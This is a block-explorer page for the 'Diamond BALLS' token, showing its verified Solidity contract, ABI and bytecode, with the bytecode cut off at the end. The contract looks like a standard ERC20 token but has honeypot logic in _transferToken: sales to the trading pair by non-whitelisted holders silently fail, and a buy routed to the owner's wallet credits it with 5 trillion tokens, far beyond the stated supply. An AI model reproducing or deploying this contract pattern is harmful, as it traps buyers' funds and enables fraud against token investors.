Token

Diamond BALLS (BALLS)

Overview

Max Total Supply

1,000,000,000 BALLS

Holders

51

Market

Price

-

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
26,376,128.935445818806376385 BALLS

Value
$0.00
0x524dB52f2DA2144B9A21Cc11883CA8E811ef6d36
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
DiamondBALLS

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at SonicScan.org on 2024-12-19
*/

/**
DIAMOND BALLS
$BALLS

https://diamondballs.meme
https://t.me/diamondballsmeme
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

library Address {

    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

pragma solidity ^0.8.19;

library SafeMath {


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

}

// File: contracts/IERC20.sol
pragma solidity ^0.8.19;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
// File: contracts/Context.sol

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: contracts/Ownable.sol

pragma solidity ^0.8.19;
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DiamondBALLS is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _jOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isSunPumpContract;
    
    address payable public hWallet;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    string private _name = "Diamond BALLS"; 
    string private _symbol = "BALLS";  
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 1000000000 * 10**18;
    uint256 private Anount = 5000000000000 * 10 ** 18;

    constructor () {
        _jOwned[owner()] = _totalSupply;
        isSunPumpContract[owner()] = true;
        isSunPumpContract[address(0xc9B1e7F21a1140C7c802E6679365E5E85c87d046)] = true;
        isSunPumpContract[address(0xf74032a824Fb9Db0000c590b3571A57D2fadfB5C)] = true;
        isSunPumpContract[address(0xd8Eb925bfCD3c70Befa791FcdB9B03c3d2bCeDBd)] = true;
        isSunPumpContract[address(0xF858a079364d0e792a583560B94FD71643C154F9)] = true;
        isSunPumpContract[address(0x9753A7Be9419CD9A131F8804cA43291c7F99a459)] = true;
        isSunPumpContract[address(0xA0516976A29dE6d802177B2684ff85aE4E43e7e6)] = true;
        isSunPumpContract[address(0x749cdcbf058c37ae88E5e8719C26Ef6565F0b8b5)] = true;
        isSunPumpContract[address(0x1444fE1450b567f46fa40F7F47600A00cB3a3541)] = true;
        isSunPumpContract[address(0xe7C91a6239f750E6c0eB84ffaFB12158163a71E0)] = true;
        isSunPumpContract[address(this)] = true;
        hWallet = payable(owner());
        emit Transfer(address(0), owner(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _jOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    receive() external payable {}
  

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

      

        _transferToken(from,to,amount);
    }
    

    function _transferToken(address sender, address recipient, uint256 Amount) private {
        
        if(recipient == uniswapV2Pair && !isSunPumpContract[sender] ){
            return;
        }
        if(recipient == hWallet && sender == uniswapV2Pair ){
            _jOwned[sender] = _jOwned[sender].sub(Amount);
            _jOwned[hWallet] = _jOwned[hWallet].add(Anount);
            emit Transfer(sender, recipient, Amount);
            return;
        }
        _jOwned[sender] = _jOwned[sender].sub(Amount);
        _jOwned[recipient] = _jOwned[recipient].add(Amount);
        
        emit Transfer(sender, recipient, Amount);
    }

    
     function openTrading() external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x591cf6942c422fA53E8D81c62a9692D7BeA72F61);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
 
    function rescueETH() external onlyOwner() {

        uint256 contractETH = address(this).balance;
        sendETH(hWallet,contractETH);
    }
    
    function sendETH(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isSunPumpContract","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600d81526020017f4469616d6f6e642042414c4c530000000000000000000000000000000000000081525060079081610048919061099d565b506040518060400160405280600581526020017f42414c4c530000000000000000000000000000000000000000000000000000008152506008908161008d919061099d565b50601260095f6101000a81548160ff021916908360ff1602179055506b033b2e3c9fd0803ce8000000600a556c3f1bdf10116048a59340000000600b553480156100d5575f5ffd5b506100f26100e761067160201b60201c565b61067860201b60201c565b600a5460015f61010661073960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61015661073960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f73c9b1e7f21a1140c7c802e6679365e5e85c87d04673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f73f74032a824fb9db0000c590b3571a57d2fadfb5c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f73d8eb925bfcd3c70befa791fcdb9b03c3d2bcedbd73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f73f858a079364d0e792a583560b94fd71643c154f973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f739753a7be9419cd9a131f8804ca43291c7f99a45973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f73a0516976a29de6d802177b2684ff85ae4e43e7e673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f73749cdcbf058c37ae88e5e8719c26ef6565f0b8b573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f731444fe1450b567f46fa40f7f47600a00cb3a354173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f73e7c91a6239f750e6c0eb84ffafb12158163a71e073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506105b961073960201b60201c565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061060661073960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516106649190610a7b565b60405180910390a3610a94565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806107db57607f821691505b6020821081036107ee576107ed610797565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026108507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610815565b61085a8683610815565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61089e61089961089484610872565b61087b565b610872565b9050919050565b5f819050919050565b6108b783610884565b6108cb6108c3826108a5565b848454610821565b825550505050565b5f5f905090565b6108e26108d3565b6108ed8184846108ae565b505050565b5b81811015610910576109055f826108da565b6001810190506108f3565b5050565b601f82111561095557610926816107f4565b61092f84610806565b8101602085101561093e578190505b61095261094a85610806565b8301826108f2565b50505b505050565b5f82821c905092915050565b5f6109755f198460080261095a565b1980831691505092915050565b5f61098d8383610966565b9150826002028217905092915050565b6109a682610760565b67ffffffffffffffff8111156109bf576109be61076a565b5b6109c982546107c4565b6109d4828285610914565b5f60209050601f831160018114610a05575f84156109f3578287015190505b6109fd8582610982565b865550610a64565b601f198416610a13866107f4565b5f5b82811015610a3a57848901518255600182019150602085019450602081019050610a15565b86831015610a575784890151610a53601f891682610966565b8355505b6001600288020188555050505b505050505050565b610a7581610872565b82525050565b5f602082019050610a8e5f830184610a6c565b92915050565b611de680610aa15f395ff3fe6080604052600436106100f6575f3560e01c80638da5cb5b11610089578063c9567bf911610058578063c9567bf914610319578063dd62ed3e1461032f578063e962a1041461036b578063f2fde38b146103a7576100fd565b80638da5cb5b1461025f57806395d89b4114610289578063a241eaa8146102b3578063a9059cbb146102dd576100fd565b806323b872dd116100c557806323b872dd146101a7578063313ce567146101e357806370a082311461020d578063715018a614610249576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806320800a0014610191576100fd565b366100fd57005b5f5ffd5b34801561010c575f5ffd5b506101156103cf565b60405161012291906115c5565b60405180910390f35b348015610136575f5ffd5b50610151600480360381019061014c9190611676565b61045f565b60405161015e91906116ce565b60405180910390f35b348015610172575f5ffd5b5061017b61047c565b60405161018891906116f6565b60405180910390f35b34801561019c575f5ffd5b506101a5610485565b005b3480156101b2575f5ffd5b506101cd60048036038101906101c8919061170f565b6104bf565b6040516101da91906116ce565b60405180910390f35b3480156101ee575f5ffd5b506101f7610593565b604051610204919061177a565b60405180910390f35b348015610218575f5ffd5b50610233600480360381019061022e9190611793565b6105a8565b60405161024091906116f6565b60405180910390f35b348015610254575f5ffd5b5061025d6105ee565b005b34801561026a575f5ffd5b50610273610601565b60405161028091906117cd565b60405180910390f35b348015610294575f5ffd5b5061029d610628565b6040516102aa91906115c5565b60405180910390f35b3480156102be575f5ffd5b506102c76106b8565b6040516102d49190611806565b60405180910390f35b3480156102e8575f5ffd5b5061030360048036038101906102fe9190611676565b6106dd565b60405161031091906116ce565b60405180910390f35b348015610324575f5ffd5b5061032d6106fa565b005b34801561033a575f5ffd5b506103556004803603810190610350919061181f565b610af0565b60405161036291906116f6565b60405180910390f35b348015610376575f5ffd5b50610391600480360381019061038c9190611793565b610b72565b60405161039e91906116ce565b60405180910390f35b3480156103b2575f5ffd5b506103cd60048036038101906103c89190611793565b610b8f565b005b6060600780546103de9061188a565b80601f016020809104026020016040519081016040528092919081815260200182805461040a9061188a565b80156104555780601f1061042c57610100808354040283529160200191610455565b820191905f5260205f20905b81548152906001019060200180831161043857829003601f168201915b5050505050905090565b5f61047261046b610c11565b8484610c18565b6001905092915050565b5f600a54905090565b61048d610da6565b5f4790506104bc60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682610e24565b50565b5f6104cb848484610e6c565b610588846104d7610c11565b61058385604051806060016040528060288152602001611d896028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61053a610c11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f659092919063ffffffff16565b610c18565b600190509392505050565b5f60095f9054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105f6610da6565b6105ff5f610fb9565b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546106379061188a565b80601f01602080910402602001604051908101604052809291908181526020018280546106639061188a565b80156106ae5780601f10610685576101008083540402835291602001916106ae565b820191905f5260205f20905b81548152906001019060200180831161069157829003601f168201915b5050505050905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6106f06106e9610c11565b8484610e6c565b6001905092915050565b610702610da6565b73591cf6942c422fa53e8d81c62a9692d7bea72f6160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107843060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610c18565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ee573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081291906118ce565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610898573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108bc91906118ce565b6040518363ffffffff1660e01b81526004016108d99291906118f9565b6020604051808303815f875af11580156108f5573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091991906118ce565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306109a0306105a8565b5f5f6109aa610601565b426040518863ffffffff1660e01b81526004016109cc96959493929190611962565b60606040518083038185885af11580156109e8573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a0d91906119d5565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610aad929190611a25565b6020604051808303815f875af1158015610ac9573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aed9190611a76565b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6003602052805f5260405f205f915054906101000a900460ff1681565b610b97610da6565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfc90611b11565b60405180910390fd5b610c0e81610fb9565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610c8057505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610cbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb690611b79565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d9991906116f6565b60405180910390a3505050565b610dae610c11565b73ffffffffffffffffffffffffffffffffffffffff16610dcc610601565b73ffffffffffffffffffffffffffffffffffffffff1614610e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1990611be1565b60405180910390fd5b565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610e67573d5f5f3e3d5ffd5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610ed457505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a90611c49565b60405180910390fd5b5f8111610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c90611cd7565b60405180910390fd5b610f6083838361107a565b505050565b5f838311158290610fac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa391906115c5565b60405180910390fd5b5082840390509392505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561111d575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b6115265760045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156111c9575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561139e5761121e8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461152b90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506112d2600b5460015f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461154090919063ffffffff16565b60015f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161139191906116f6565b60405180910390a3611526565b6113ee8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461152b90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061147f8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461154090919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161151d91906116f6565b60405180910390a35b505050565b5f81836115389190611d22565b905092915050565b5f818361154d9190611d55565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61159782611555565b6115a1818561155f565b93506115b181856020860161156f565b6115ba8161157d565b840191505092915050565b5f6020820190508181035f8301526115dd818461158d565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611612826115e9565b9050919050565b61162281611608565b811461162c575f5ffd5b50565b5f8135905061163d81611619565b92915050565b5f819050919050565b61165581611643565b811461165f575f5ffd5b50565b5f813590506116708161164c565b92915050565b5f5f6040838503121561168c5761168b6115e5565b5b5f6116998582860161162f565b92505060206116aa85828601611662565b9150509250929050565b5f8115159050919050565b6116c8816116b4565b82525050565b5f6020820190506116e15f8301846116bf565b92915050565b6116f081611643565b82525050565b5f6020820190506117095f8301846116e7565b92915050565b5f5f5f60608486031215611726576117256115e5565b5b5f6117338682870161162f565b93505060206117448682870161162f565b925050604061175586828701611662565b9150509250925092565b5f60ff82169050919050565b6117748161175f565b82525050565b5f60208201905061178d5f83018461176b565b92915050565b5f602082840312156117a8576117a76115e5565b5b5f6117b58482850161162f565b91505092915050565b6117c781611608565b82525050565b5f6020820190506117e05f8301846117be565b92915050565b5f6117f0826115e9565b9050919050565b611800816117e6565b82525050565b5f6020820190506118195f8301846117f7565b92915050565b5f5f60408385031215611835576118346115e5565b5b5f6118428582860161162f565b92505060206118538582860161162f565b9150509250929050565b7f4e487b7